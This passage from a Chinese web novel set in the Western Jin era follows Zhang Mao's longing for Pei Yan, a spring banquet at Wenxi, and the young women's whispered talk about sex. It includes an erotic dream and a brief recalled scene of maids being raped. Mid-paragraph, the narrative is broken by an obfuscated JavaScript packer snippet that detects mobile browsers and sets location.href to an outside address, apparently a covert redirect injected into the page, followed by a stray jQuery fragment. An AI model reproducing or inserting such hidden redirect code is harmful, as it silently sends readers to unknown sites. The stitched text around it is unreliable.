先钜鹿郡公裴秀是庶子出身,但架不住人家有从龙有功,且儿孙争气啊!反观自己这支,自打三年前叔父裴楷过世后,嫡支再无显宦,与如日中天的裴頠一家比,反倒落了下乘。形势比人强,从来大小宗都不是绝对的,皇位尚且可以轮转,何况区区族长?幸得裴頠不在意族里这点小权,否则人家就是把族长位子夺了去,谁敢吱声? 他想了想,到底抽出一段白娟来,提笔与裴頠写信。 他做族长这些年,与这位从弟关系尚可,提携女婿本是应有之义。他所担心的,只是这仗不好打罢了。不过柳氏说的没错,富贵险中求,宁肯女儿成亲前让薛五郎多挣点功名。 其实,他对薛翊这个女婿一直不大满意。裴卲好歹是河东裴氏的族长,他的嫡女,怎么说也该配同等的山东著姓吧!他的长女就是嫁给了范阳卢氏的郎君。 然而柳氏疼惜幺女,舍不得孩子远嫁,硬要把小女儿留在身边。这才矮子里面竖壮丁,挑了姨侄薛翊做女婿,便宜了这个只会舞刀弄棒的武夫! 荐薛五郎入伍,也好。他看了一眼妻子,有些话,没有对老妻讲。若是这五郎命途不济,在战场上死了残了,他也好给女儿重新找人家不是? 另一厢,王导、裴憬与张茂自裴族长家出来后,踏上接应的牛车。 今晚月色本就明亮,加上车檐四角挂着的三联宫灯,照得车里很亮堂。 其时入夜仍有宵禁,只是裴家势大,牛车上的裴氏铜牌在宫灯的映照下左右晃荡,哪有卒子敢上前查问。何况裴氏族长家与钜鹿郡公府祖宅在一条街上,出了门左拐几里就到了。 钜鹿郡公府的祖宅不算宽敞,毕竟裴秀庶支出身,能在族里有这样一块宝地建宅已是不易。因宅子不大,三个郎君被统一安置在外厢房的一处院落里。 裴憬是主家,王导是贵客,二人的行李也多,是以分到的房间比较大。张茂的则要略小些。不过他一向轻车简行,这小小的一间厢房,被听雨收拾得很清爽。 张茂甫一进门,等候多时的听雨就给他打来了热汤。 张茂狠狠把手上脸上洗了洗,这才清醒几分。 一旁侍立的拾叔呈上一封书信道:“郎主的信。” 张茂赶紧擦干净手,打开看了。 父亲在信里简略说了些近况,道自己被冯翊郡守聘为副将,即将出兵上党,讨伐酋首。又道京里著作郎陈寿正勾陈三国史料,急缺人手,裴侍中有意举荐张茂,“吾儿不日便可郎官起家。”又提到张茂的婚事,问儿子欲“聘凉州豪强”还是“京都著姓疏族”? 张茂扔了绢信,一头倒在榻上,捏着眉心,难得心烦气躁:“竟无一顺心!” 他阿父这些年东奔西走,虽有裴侍中与张司空相助,但二人都是文官,不掌军权,文武殊途,能帮到的地方有限。如今后党与东宫势成水火,他阿兄这些年被阿父勒令明哲保身,仕途三年仍无建树。而他自己呢?快到弱冠之年,仍只是裴府一介清客,即便日后被辟为郎官,助陈寿编史,他张开自己满是茧子的手,这些年夏练三伏冬练三九,难道就是为了做一刀笔小吏? 他很想告诉父亲,他不想当什么郎官,他想随父亲讨伐郝散,驰骋疆场,十五为裨校,二十封郎将,三十卫将军,四十觅封侯!他还想告诉父亲,他既不想娶凉州豪强,也不想找著姓疏族,他想……他想什么呢? 鬼使神差的,他的眼前划过白日里那张撩帘娇笑的俏脸,心跳没来由地一顿。 他赶紧把那丫头从脑壳里赶走,似乎连想她都是罪过,然而心里却空落落的。 他捂了捂胸口,头一次感到无能为力的痛。 我有鸿鹄志,何日上青云? 张茂自嘲,这些年,那冲天的高志犹如被裹在看不见的索网里,时常将他缠得透不过气。他不觉得自己怀才不遇,毕竟裴家人对他不可谓不照拂,只是时事混杂,在这波谲云诡的朝堂里,谁能真的扬眉吐气?即便高位如张司空,尚且要周旋于贾后、东宫与各大世家之中,何况他呢? 一阵不堪的男女混叫自隔壁王导的房里传来。王导从来不会在女色上亏待自己,往日张茂听到了,念两遍《清心咒》也就过去了。可是今日听来,却不胜其扰。 许是酒劲上涌,他不可自抑地又想起了裴妍,她的一颦一笑,一怒一嗔,似乎就在眼前。 眼前?他睁开眼,赫然看到裴妍正笑盈盈地跪坐榻边,螓首微仰,似娇似嗔地看着他。 张茂难得惊慌失措,竟跌坐席上,既震惊又疑惑。 隔壁正行到紧要处,撞击声一浪高过一浪,其间还有女子似哀似喜的混叫,张茂大骇,外室无人,他又不敢惊动别人,只好用双手捂住裴妍的耳朵,急道:“你怎么来了?” “你想我,我便来了!”裴妍掩口痴笑。 张茂立时往后退了退,裴妍却移席上前,紧挨着他坐下,好奇地盯着身后的墙问:“隔壁可是赤龙叔公?怎么还有女人的声音?他们,为什么一直在叫?” 是啊,他们为何一直在叫?鬼使神差地,张茂回握住裴妍的嫩手,嗓音低沉,眼中混沌,竟是情欲暗生:“元娘想知道?” 裴妍眯着纯净无瑕的杏眼,讨好地道:“想啊!阿茂哥快教我。” 张茂深吸口气,哑着嗓子:“好!”他两只大掌握住裴妍的腋下,一个回身,将她抱躺在了卧榻上…… “郎君,郎君……”张茂在拾叔的急唤中睁眼,晨光刺眼,他下意识地抬手遮挡。 拾叔适时劝道:“郎君,起来用点醒酒汤再睡吧!” “元娘!”张茂突然想起,自己昨晚似乎和裴妍…… 然而,他转身看向自己的卧塌,并无凌乱痕迹,再看自己,和衣而眠,衣着还算齐整,只是锦衾之下,裤子早已湿得一塌糊涂。 他有些恍惚,忍住羞躁,问拾叔:“昨晚可有人来过?” 拾叔摇头:“老奴一直守在外间,无人敲门。” 原来昨日种种,不过只是一场春梦! 一瞬间,他五味杂陈,说不上来是失落还是庆幸,将将扶着脑袋,支起身子半坐着。 他将拾叔递来的醒酒汤一饮而尽,问他:“几时了?” “辰时三刻。” “这么晚了?”张茂放下汤碗,急着起身去找裴憬。 拾叔止住他道:“郎君莫急,裴大郎与王郎君昨晚都饮多了,如今正卧榻酣眠!郭夫人也派人来传话,说郎君们舟车劳苦,让多多休息,不要误了明日的春日宴就好。她那里不用日日请安。” 张茂闻言,略舒了口气。昨晚在族长家喝得确实有些上头,夜里又做下那等春梦,一时之间,不知自己是惭愧多些,还是满足多些。 心烦意乱的,横竖睡不着了,他换了劲装,去院中练剑——以往他都是寅时三刻就起身练功的。 张茂一套剑法舞下来,身上大汗淋漓,正觉爽快,回头就见裴妍领了定春与容秋进得院里来,三个人手上各挽了一个黑漆嵌贝珠的食盒。 定春与容秋原是从张家出去的。虽说二人来了裴家后,连爷娘也被张家打包送来了,但面对旧主,仍不免一肃。张家素来军规治家,二女仍朝张茂拱手行军礼。 张茂对她们并无多话,只是问裴妍:“元娘来外院何事?” 裴妍揭开手上食盒的一层盖子,露出里面圆滚滚的青艾团子,笑道:“听阿母说你们昨夜喝多了,早膳定还没用过吧?” 张茂看了眼隔壁紧紧关着的两道厢房门,解释道:“你送早了,大兄和王郎君还没有醒来。” 裴妍不以为意道:“那就阿茂哥先吃呗!我备了三份呢!” 说罢提溜了食盒就往廊上走,边走边问他:“你住哪间来着?” 张茂扶额,这丫头,空长了好样貌,内里怕还是七岁小孩的心智。 张茂的房间在一向奢侈惯了的裴妍看来,简直寒酸得不像话。她有些沮丧的想,可惜我的好东西都留在京里了,不然定要把阿茂哥这里好好收拾一番。 张茂一眼看出她的念头,摇头笑道:“改天带你去军中看看,能有一顶不漏风的帐篷,一条干净的皮子裹身,就算优待了。” 裴妍却两眼放光,拽着张茂的袖子道:“阿茂哥说话算话,不许反悔!” 军营唉!她还真像看看军营是怎样的! 张茂却自觉失言,裴妍是女子,还是高门贵女,怎么可能跟他去军营?能进军营的女人大概只有营妓了,白日浆洗,晚上侍寝。这样的腌臜事,怎能让裴妍知道? 他有些抱歉道:“刚才与你玩笑呢,哪有女子去军中的?” 裴妍也不恼,皱着鼻子哼道:“就知道你们男人的话不可信!” 张茂心口一跳,脱口问道:“莫非有别的郎君骗过元娘?” 裴妍撅着小嘴:“那倒没有,是阿娴姊姊说的。她那未来夫君薛五郎经常忘了约定,所以她时常跟我讲这话。” 原来如此!张茂悬着的心放了下来。 说话间,门口传来裴憬的声音:“阿妹,什么时候来的?不早点叫我。” 张茂的房门未关,裴妍回身,见裴憬正揉着惺忪的睡眼倚在门口,笑道:“阿兄起了?正好,一块用早膳吧!” 她把定春手里的食盒取出来,里面端出的还有一盘撒了长生韭的胡饼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001219|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这道点心张茂这个食盒里却是没有的,就听裴妍戏谑道:“这是柳姐姐一早派人送来,特意给阿兄的,快尝尝!” 裴憬白嫩的脸上立时透出一抹红晕。他两年多前与柳蕙订婚,二人在双方家长的撮合下,感情日笃,哪怕分别了这么久,其间也没有断过书信往来。只是他如今到底还未成婚,被妹妹这么一打趣,不免有点害臊。想到明天春日宴,又能见到柳家女郎了,他心里便无比期待。 裴妍却不放过自家哥哥,再接再厉地撩拨:“柳姐姐这些年一直念着阿兄,阿兄明日可别慢待了人家!” 裴憬正有此意,但是心里想是一回事,被妹妹点破又是另一回事,他脸皮薄,起身支支吾吾道:“我房里还有祖先生的功课,你们慢聊,我先回房去了!” “哈哈哈哈哈……”裴妍看着裴憬落荒而逃的样子,笑不可抑。 张茂轻扣她的额头,训道:“越大越没规矩!” 裴妍俏皮地朝他吐吐舌头,俨然小时候的样子。 张茂摇头,他看着一会翻他书案,一会抚他墙上佩剑的裴妍,心里升起一股浓浓的愧疚来。裴妍还是小时候的裴妍,裴憬也还是三年前的裴憬,唯独他,心思再难清明! 王导昨晚显然是阳精虚耗,直睡到日上三竿才起身。听说裴元娘给他们送来了早点,只因自己起得太迟,就放在了张茂处,便来他这里讨早膳吃。 张茂一直命听雨用热汤盆温着呢,见他来了,就要派人给他送过去。 王导却直接在案前坐下,不客气道:“那么麻烦作甚,就在你这用吧。” 王导食盒里的点心与张茂的是一样的。他尤喜甜食,有一道枣糕是闻喜特有的,他吃光了自己的不说,瞅着旁边张茂的食盒里还剩几个,就伸手去拿。 张茂却一把夺过自己的食盒,对王导解释道:“我盘里的动用过了,不宜再分与旁人。茂弘兄若喜欢,明日可命庖里多做两份。” 这话本在情理之中,只是王导是风月场里的老手。昨天张茂与裴妍的那点眉眼官司,他可是都看在眼里的。 他看了眼闷坐一旁温书不语的张茂,从腰里抽出一把腰扇来,边扇风边盯着他不住地摇头。 张茂被他盯得浑身不自在:“茂弘兄有话不妨直言。” 王导拿扇子点点食盒,又点点他,意味深长道:“茂弟在意的岂是区区几块枣糕?怕是那送糕点之人吧?” 张茂骤然冷面:“兄请慎言!” 王导亦整肃了面容,合扇于手,正色道:“郭夫人与东海王妃有意结亲。今年东海王秋请,两家便要下定。” 这件事张茂怎会不清楚?裴妃与郭夫人的心思整个钜鹿郡公府谁人不知? “茂自知微贱,对元娘从不敢有非分之想。” 王导摇头,继续道:“我非鄙贱茂弟出身。你我相识多年,我何时因你的出身轻视过你?相反,我知你文武全才,有伊尹之志,版筑饭牛,只欠东风而已。如今朝局,正是风虎云龙之际,东海王文韬武略,迟早归京主事。你即便不与之交好,也万不可因区区一个女子与之交恶。元娘虽美,终归东海王府,非吾等可以肖想。茂弟,当断不断,必受其乱,趁如今用情未深,及时抽身收心为上。何况,世间美貌女子漫如繁星多如春韭,茂弟何必自苦于一人?” 友人之间,点到为止。言罢,不等张茂回神,他便自顾自地将张茂食盒里的枣糕端走,悠然离去。 这回张茂未再阻拦,只是端坐席上,盯着面前空空如也的食盒,久未言语。 不多时,拾叔进来收拾台面。 张茂一把拽住他挪动食盒的手,抬头问他:“孔子云,贤贤易色,然否?” 拾叔哪里读过这些,只听懂最后一个“色”字,便笑着发表“浅见”道:“郎君说的可是女子?奴曾听西边来的胡僧讲经,言女子都是批了外衣的骷髅。可笑世人钟爱美女,不过是沉迷她们的外在皮相。其实女子不管美丑,内里啊,都是一具白骨罢了!” 红颜枯骨,皆是虚妄,佛教经义,张茂倒也有所耳闻。 只是,他仰靠缇几之上,嘴角泛起一丝嗤笑,女子是白骨,男子就不是骷髅一具?既然情爱本属虚妄,功名富贵难道就不是身外之物?既同为虚妄,为何世人只鄙夷与女子的情爱,却将男子建功立业奉为圭臬,是何道理?可见人总是功利的,既奢求佛家的众生平等,又时常要分出个高低贵贱来。其实,谁比谁重要呢,见仁见智罢了。 张茂看向半开的格窗,抽条的嫩柳随风飘荡。 这些年,京畿看似平稳,实则暗潮涌动。贾后女主惑君,必不长久,东宫恣睢憨蛮,难当大任。各路诸侯虎视眈眈,五胡头目蠢蠢欲动。时事多艰,就连麒麟才子若王导,也不得已远离京城投奔东海国。明眼人都明白,这不过是琅琊王氏继贾后与太子之外,又下的一注筹码罢了。 这样的时局,他对裴妍的那点爱慕,不过是山雨欲来前的一点微风罢了,谁会在意这点绮思? 这一路,他既不越雷池,也不想将这点情思驱散。他也好,安定张氏也好,自有前路要走。若说贪心,他只想在分道扬镳前,多护送她一程罢了。 26. 但使主人能醉客,不知何处是他乡 翌日,当第一缕金阳还未划破窗棂,尚在沉睡的世家女郎们,就纷纷被自家乳媪、侍婢摇醒,净面,梳洗,上妆。 一年一度的上巳节春日宴,是闻喜士族的盛事,也是少年男女相看的重要时机,有女郎待嫁的人家无不重视。 裴妍亦早早被叫起,闭着眼睛,任容秋和一众侍女给她梳妆打扮。一向起床气大的裴妍一边受着摆布,一边抱怨:“你们不是都夸我长得好看么?怎么还要上这些庸脂俗粉?清清爽爽不好么!我就是三天不洗脸,站出去都是最美的!” 梳头娘子给她裹发,她更是百般不乐意:“哎呀,你别拉扯,鬟梳那么高干什么?我不要刨花水,难闻死了,不要金钗,统统拿走,掐朵魏紫来!” 待到容秋给她着衣,许是那阵气性过去了,又许是这件织金石榴裙终于合了她的胃口,竟老老实实地站在铜镜前,任婢子帮她把衣衫套扎齐整。 于是,镜中的女郎罗衣璀璨,乌鬓簪花,蛾眉粉面,朱唇皓齿,星眼如波,妙目含情,光彩照人,美绝人寰。 就连来帮忙的定春,都忍不住赞道:“女郎诚天人也!” 裴妍却觉得脑门上的那坨鹅黄分外碍眼,头上更是有如千斤重,她明明素颜也很美啊。 此时郭夫人派人来催她,因到秋水别庄有半个时辰的车程,早膳只能在车上用了。 待她和郭夫人行到门口时,裴憬、张茂、王导皆已早早等在外间。 当三位郎君看到盛装下的裴妍时,都不由为之惊艳。 金钗玉环下的她犹带着少女的稚气,只一眼,便足以摄人心魄! 王导忍不住点头赞叹,这样的美人,堪配主公世子! 裴妍不急着上车,回身朝三个郎君看去,只见王导和裴憬均做儒生装束,广袖博带,玉簪高冠,把自己收拾得雍容齐整。 然而最吸引人的还属张茂,尽管他一身玄色劲装胡服,然而谁让他长得最俊呢!这一身挺拔的武人装束,反而更显得他长身玉立,豪迈倜傥。 意识到裴妍的目光,张茂立时回看过来。 裴妍却已先一步进了车厢,任一抹茜色裙摆一闪而过,撩拨人心。 车上,郭夫人赶紧将幂离给裴妍罩上。 裴妍却一把摘下,不乐意道:“自打来到闻喜,阿母每每人前都要我戴这玩意儿,女儿就这般见不得人?” 郭夫人哄道:“吾儿美甚,岂能让登徒子看了去?” 裴妍却将幂离推得远远的:“长得美竟是错处了?在我河东地界都要畏畏缩缩,那女儿回到京城岂非连大门都不能出?” 郭夫人一想,也对,以前女儿小,自己总觉得她心性不定,万一情窦初开,怕收不住心。可如今女儿渐渐大了,纵观河东,哪个郎君能貌比张茂才过王导?裴妍在这二人面前尚且收放自如,又何惧那些乡下来的歪瓜裂枣? 是以,当裴妍头一次不戴幂离,堂而皇之的在容秋的搀扶下,跨过中庭的抄手游廊,穿过男女宾共用的湖畔花厅时,她的容色,立刻在已入场的男女宾客里引起了轰动。 有一个龙门王氏的子弟甚至为了追着看她,竟失足落水! 身为主家的裴娴到的最早,她早早听得动静,赶紧出来查看,老远就看到容光照人的裴妍向她行来。 裴娴稀奇地上前围着她转了一圈:“怪耶,今日叔母竟没让你遮挡一二?也不怕那些郎君看杀了你!” 郭夫人已经去了夫人们所在的花厅,裴妍来的偏厅都是些未出阁的女郎。有许多女孩子也是第一次见到裴妍的真面目,百闻不如一见,都纷纷耳语她的美貌。 女郎里,除了裴娴,就属柳蕙与裴妍最熟,是裴妍的准嫂子。 她大方地将裴妍拉到女郎中间,半是奉承半是引荐,对诸人道:“你们可听说过王司徒对阿妍妹妹的批语?‘天下绝色,裴氏双姝,元娘璞玉,二娘明珠。裴家女郎,如珠似玉也!’” “哇!”小女郎们不管是听过的还是没听过的,皆纷纷露出了然加艳羡的表情,原来裴妍早在京城就这么有名了?难怪她以前很少参加饮宴,就算来了也要戴副幂离,实在是人家美得没朋友啊! 其中有不少女郎自惭形秽起来。小女郎们为了今次的春日宴,谁不是早早就起来梳妆打扮?可是相貌这种事,七分天注定,即便自家打扮得再精心,与裴妍这样的顶级美人比起来,还是差了很多。 更有一些女郎,本想仗着年轻貌美,吸引京城来的郎君来着,如今有裴妍珠玉在前,还有谁能看到她们?多少有些泄气。 因此,与裴娴周围热络的氛围不同,裴妍身边显得有些冷清,除了柳蕙,大多女郎都对她恭敬有余,热络不足,能来这花厅的都是本地的豪门贵女,谁甘愿做西施身边的东施? 倒是郎君那里,今次春日宴可谓热闹异常。王导的加入,让许多乡里的儒生两眼放光。 与王导相比,裴妍在郎君中造成的轰动只是暂时的,对于河东本地的士族而言,京都来的贵女,是可望而不可即的高岭之花,还不如王郎的一二句点评实在。 若是能得到名满天下的麒麟才子几句嘉评,对他们在乡里的声望将大有裨益。尤其今年即将参加中正考评的郎君,更是削尖了脑袋往王导身边凑。 王导极擅清谈,又一向与人为善,无论是否认识,但凡有人来请教他,他都会与之玄谈一二。是以不多久,他身边便聚拢了大批士子。 裴憬身边也没闲着,他痴顽的名声在闻喜还是秘密。大家只知道他是钜鹿郡公裴頠的亲侄,又长得一表人才,虽不如王导那般炙手可热,但也成了诸人争相追捧的对象。 裴憬最怕这样的场合,哪怕身边有张茂提点,但来的人一多,张茂难免忙不过来,以至于到后面,来人还没开口,裴憬就先紧张起来。 幸好此时,郭夫人派人喊他去园子里赏花——这是事前就商量好的,制造机会好叫裴憬与柳蕙叙旧。 张茂赶紧帮裴憬正正衣冠,陪他往花厅外的园子走去。 阳春三月,柳树成荫,桃红梨白,早樱在春风的吹拂下,沸沸扬扬,落了一地的芳菲。 二人踩着鲜花铺就的石子路,坐上等在岸边的小船,径直去了湖心凉亭。 张茂还派了长河与听雨守在渡口处,以防裴憬与柳氏被外人打扰。自己则胡坐在岸边的青石上,就着凉爽的春风,难得清静地赏景。 春风熏人,张茂正盯着湖心的几尾锦鲤想事。 陡然间,他的头顶落下一大片粉红的花雨。 张茂没有转头,浅笑道:“劳烦元娘,集了这么多花,全撒我这了。” 他自小习武,耳聪目明,裴妍甫一靠近,他就感知到了。受郭夫人影响,裴妍自小酷爱忍冬香,哪怕这满园芬芳,亦遮不住她身上忍冬香囊的味道。 裴妍原是陪着柳氏来的,她与河东贵女相熟的不多。家里得宠的女郎不屑做她的陪衬,家里不得宠的来找她无非是为了奉承,哪个她都不喜欢。 裴娴今天是主家,忙得脚不沾地,没空照应她。眼见着柳蕙要来湖心亭找裴憬,裴妍干脆陪她一起来了。倒是没想到会在湖边遇见张茂。 秋水别庄的湖面颇广,春风荡漾下,湖水一浪接一浪地拍打着岸边的青石。 裴妍有意坐到张茂身边,谁想那石头上竟是长了层青苔,分外湿滑。 裴妍脚下一歪,身体瞬间失去重心,眼见着就要落进水里。 千钧一发之际,她只觉手腕一紧,天旋地转间,落入一个结实的怀抱。 原来是张茂眼疾手快地拽住了她。 裴妍抬头,正对上张茂黑沉的双眸,里面星光耀眼,熠熠生辉。 裴妍被他的眼睛吸引住了,她一直觉得张茂的眼睛最好看,亮莹莹的,宛如夜空的星子。同样一双眼睛,看书的时候温和儒雅,练剑的时候杀气逼人,看着兄长的时候平和谦让,看着贼人时戾气毕露,看着她的时候呢,温柔宠溺…… 一只燕子从柳树枝丫里扑腾而出,打破了这片刻的静谧。 裴妍突然意识到,自己还在张茂的怀里,虽然这个怀抱舒服又温暖,让她直觉不想出来,但她多少恢复了些理智,有些不好意思地挣了挣。 张茂也回过神来,松开她,将她扶稳坐好。 裴妍尴尬地咳了一声:“阿茂哥不去与那些郎君交际,躲在这里做甚?” 张茂反问:“元娘不也在这偷闲么!” 裴妍摇头:“我长得太美,还是躲一躲,不要抢别人的风头才好。” “这倒是,元娘一进门就把龙门王氏的郎君带进水里去了呢。”张茂戏谑道。 “啊?”裴妍惊讶,“他没事吧?” “没事,早被捞上来送回去了。”张茂笑着摇头,“你这样的容色,真该戴副幂离。” “哼!”裴妍不屑道,“阿茂哥不也长得好看?怎么从不见你掩盖真容?” “我是男子。男子长相在表,才学、家世在里。长得好看只是锦上添花,不好看也无关大局。”张茂道,“你看赤龙,长得再壮也不影响他麒麟才子的嘉名。” “呵,我看未必。”她尚且不知王导在男宾席的影响力,只是想起他前天进城吓退艺伎的故事,忍不住笑起来,却想起自己的哥哥嫂嫂还在上面约会呢,她赶紧掩了口,心虚地朝头顶假山上的凉亭看去,只见裴憬与柳蕙手拉着手相对而坐,正热络地聊着什么,并没有关注到她们。 这才放下心来,继续与张茂聊天道:“听阿母说,你即将起家为郎官?还要去编史?恭喜啦。” 张茂笑笑,盯着湖里自由自在的锦鲤,并不说话。 裴妍看着他形单影只的侧影,敏感地觉察到,张茂也许对这个起家官并不如意。 张茂沉默半晌,突然对裴妍道:“元娘,其实,比起著书修史,我更想去沙场搏一搏。” 不待裴妍回话,他又道:“你会不会觉得我不识好歹,别人求而不得的机会,我竟然不乐意?” “不会!”裴妍摇头,“因为阿茂哥是有鸿鹄之志的人!” 她知道张茂每天晨起都要练半个时辰的剑,冬练三伏夏练三九,哪怕到了闻喜也没有懒怠。她还知道张茂房里有一屋子的兵书史书,舆图沙盘,时常手不释卷,反复推演战役至深夜。现在想来,他一直都在为重返沙场做着准备。 张茂摇头,看着波澜不惊的湖面:“可是,我阿耶不这样想。他儒生出身,却半辈子刀口舔血,只因安定张氏门第衰微,唯有军功来得快,迫不得已,只能弃文就武,入了征西军。如今,他年近半百,还要给世家子做副,为了几分军功上阵杀敌。故而,轮到阿兄和我时, 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张茂却无奈地笑了笑,无病无灾,长命百岁,即便太平盛世也很难得吧? 不过他还是附和地道:“那就,借元娘吉言了!” 死生寻常事,身为武将之子的张茂,比起性命来,更渴望建功立业,毕名将夙愿。 可是看着裴妍分外认真的模样,张茂意识到,这孩子是真的在乎他的安危。当他自己都只担心能不能功成名就时,却有一个人,始终关注他是否平安顺遂。这样的佳人柔情,没有哪个男子不受用的。 张茂正欲说些什么,头顶突然传来裴憬的声音:“咦?你俩躲下面做甚?上来一起玩啊!” 张茂只想把裴憬胖揍一顿,你跟柳氏处得好好的,管旁人干什么! 裴憬身后是脸涨得通红的柳蕙。只是裴憬已经出声了,她也不好干站着。她亦故作大方地邀请裴妍:“湖边湿冷,妹妹快上来坐。” 裴妍从善如流,回头对张茂莞尔:“这湖心亭是秋水别院的赏景绝佳处,可总揽南郊的湖光山色,我带你去看!” 言罢拎起裙角向山顶爬去。 张茂能怎么办,只好忍着尴尬,跟在裴妍身后,一起上了亭子。 湖心亭建在假山顶上,是方园百里的至高处,站在亭子里,可以看到浩荡的秋湖,以及湖对面男宾席与女宾席的概况。 时人饮宴,讲究随性,吃饱喝足了,可以自己出来溜达,不必拘于礼数。 就见男宾席里,被团团围住的王导终于支撑不住,告罪离席,到院外醒酒。 院子外面是浩荡的湖水,岸边遍栽杨柳,春草萋萋,海棠花红,王导步入其间,只觉花香醉人。 偶一回头,却见百花深处,一名上着梅染春衫,下着酡颜八破裙的清丽佳人正徜徉其中,见到王导,佳人似乎有些震惊,半退了一步,待看清来人后,始放下便面,对他盈盈一礼。 王导嘴角噙笑,款款还礼,随即刀扇轻摇,缓步上前,不知与那女郎说了什么,逗得佳人一笑,很快二人便把臂同游,走向花林深处…… 此间种种,男女宾席里无人察觉,唯身在湖心亭的四个人看了个明白。 裴妍见那女郎的身段服饰,有几分眼熟,她想了想,转头问柳蕙:“柳姐姐,那不是雷家女郎么?” 柳蕙脸上隐有薄怒,惭愧道:“确是雷家表妹。”她面上不显,心里却恨极。 柳蕙有一个庶出的从母,嫁给了本地的大商户雷家,而这个雷筠又是这位雷姨丈的庶女,算来与她并无血缘,只是担着表亲的虚名罢了。 因雷筠是庶出的庶出,柳蕙平日里与之并不相熟。没想到这丫头为了攀高门居然明目张胆地勾搭王导,害得她在婆家未婚夫与小姑子面前丢了大丑。 同时,柳蕙又不得不往深里想,雷表妹此番作为是受家门指使?还是自作主张?无论如何,她得赶紧回去禀告阿母,让她好好管教雷氏一门,最好以后大小宴饮都不要再看到这个人! 王导出身名门,才名远扬,若非体型欠奉,身边围捧的女郎只会更多。如今有乡下女郎自荐枕席,这在世人看来再正常不过。哪怕柳蕙,也只是恼恨雷筠吃相难看,不知检点,害她在婆家人面前出丑,对始作俑者王导却是不敢有半句怨言的。 然而裴妍却不这样想:“赤龙叔公刚跟曹家阿姊订婚,这就敢胡来?仔细曹姐姐的杀威棒!” 王导此次从东海归京省亲,最重要的一件事就是与曹司马之女曹淑订亲,然后才北上来的河东。 曹淑是武将之后,性情出了名的刚烈。就连一旁的张茂都无声摇头,替好友王导捏一把汗,这厮真是胆肥啊! “我一会就修书给阿妡,让她告诉曹家阿姊去!”她气鼓鼓地道。 裴憬与张茂对视一笑,都有些无奈,想不到元娘还是个小醋坛子啊! 裴憬摸摸鼻子,他这两年在老夫人的做主下,收了两房侍妾,只是不许搞出庶长子来。他有些心虚的看了眼身边的柳蕙,见这位未婚妻面色如常,并未像裴妍那般有愤慨之色,心里暗暗放下心来。娶妻娶贤,大母诚不欺我也! 只是,他有些同情地看了眼张茂,又突然觉得自己此举简直莫名其妙。阿妍悍妒,关茂弟何事?该担忧的当是远在东海国的那位世子吧! 27. 薛五郎求见张茂,别闻喜乡间惊魂 待四人从渡口下舟子,已接近晌午。一向忙得脚不沾地的裴娴竟在渡口处等着他们,与她同行的,还有她的未来夫婿——薛家五郎薛翊。 裴娴看到裴憬和张茂,赶紧拽了拽薛翊,迎上前与诸人寒暄。 薛翊是武将,哪怕饮宴也是一身玄色劲装,倒与张茂类似。 许是习武之人间的惺惺相惜,张茂亦一眼就认出了他。二人三年前曾在宴席上有过几面之缘。不等他人引荐,那薛五郎已上前一步,朝张茂作揖,自报家门道:“小子薛翊,即将赴张老将军麾下,特来拜见郎君。” 张茂微怔,讨伐郝散,薛家也派人去了? 事关军务,郎君之间自有要事商讨。外面人声嘈杂,裴娴干脆领着他们去了一处闲置的院落。 厢房里,张茂与薛五郎可以算一见如故。薛五郎即将入他父亲麾下,张茂自有很多话要叮嘱。 裴憬虽不懂军务,但他宁愿跟着这两个后面听天书,也不想去男宾席上落座。 裴妍、裴娴还有柳蕙则跪坐于廊下,边做绣工边聊天。 裴妍把刚才看到的王导与雷筠私会的事说了。裴娴听罢,也很气愤。她与柳蕙是舅表姊妹,与雷家亦是表亲。雷氏的作为,让她在裴妍等京城来的亲戚面前丢了脸面。 “那个雷筠平日里仗着有几分美貌,很有些恃才傲物,明明商户庶出,却总要摆出目下无尘的姿态来,如今看来,人家果然志存高远!”柳蕙评价说。 裴娴不屑道:“放着正经娘子不错,自甘堕落,上赶着当妾,简直不知羞耻!” 裴妍觉得她俩围攻错了方向:“最可恨的难道不是赤龙叔公么?雷筠或许不知他已经订亲。可他却是明知故犯啊!” 这话柳蕙不敢接,裴娴却很认同:“可见世上本没有正经的郎君,有也是假正经!” 柳蕙笑道:“你家五郎也是?” 裴娴气闷道:“他房里就有两个专门伺候床帏的婢子,这又不是秘密了!” 就连看起来憨直的薛翊也早就有了女人,裴妍想起裴憬和张茂来,不知道他们有没有? “肯定有啊!”裴娴笃定道,“世家子长到十三四岁,家里都会给安排的。我那弟弟才多大,我阿母已经开始给他物色性情好的婢女了,若不是我偷偷听到,都不敢相信!” 长辈们一向讳谈这种事,但饮食男女人之大欲,并非长辈能禁得住的。 相比女郎而言,郎君们管得松些,到了年纪,家中自会提前给他们备下侍寝的婢女,教以床事。道家特意给这种事起了个好听的养生名目,叫采阴补阳。 郎君之间,玩得好的还会互相赠与避火图,甚至暗地里谈论女子的床上本事。反倒是女郎,世人要求女子贤淑贞静,不到出嫁前夜,女性长辈绝不会轻易与她们提起这事。但架不住姊妹、闺蜜之间会互相探讨啊! “姊姊们与我说说,这种事,到底是怎么一回事?”裴妍看了眼紧闭的厢房,确定郎君们听不到后,小声问她俩。 三个人里她年纪最小,又没有亲姐,知道的最少。 裴娴与柳蕙对视一眼。 柳蕙尴尬地闷咳一声。自从她与裴憬议亲后,她长姊就给她塞了几张避火图,她多少了解一些,只是不好意思跟这位未来的小姑子说。 裴娴平日里没少看她弟的避火图,对男女之事自认很是了解。她招手让裴妍倾耳过来,与她叽叽咕咕边耳语边比划起来。 裴妍脸上由懵懂到疑惑再到震惊,旋而睁大眼睛,拿手比划道:“那里……那么小,怎么戳得进去!真进去了,得多疼啊……”话说一半,她陡然想起三年前的东郊别院,彼时她躲在矮树后,眼睁睁地看着几个婢女双腿大张,一个个打着赤膊的怆荒匪徒在她们腿间抖动。她们绝望凄清的脸,一下子又浮现在眼前。 “啊!不要!” 裴娴原想再描述一二,裴妍自己先惊叫起来。 裴娴赶紧捂住她的嘴:“祖宗,噤声!” 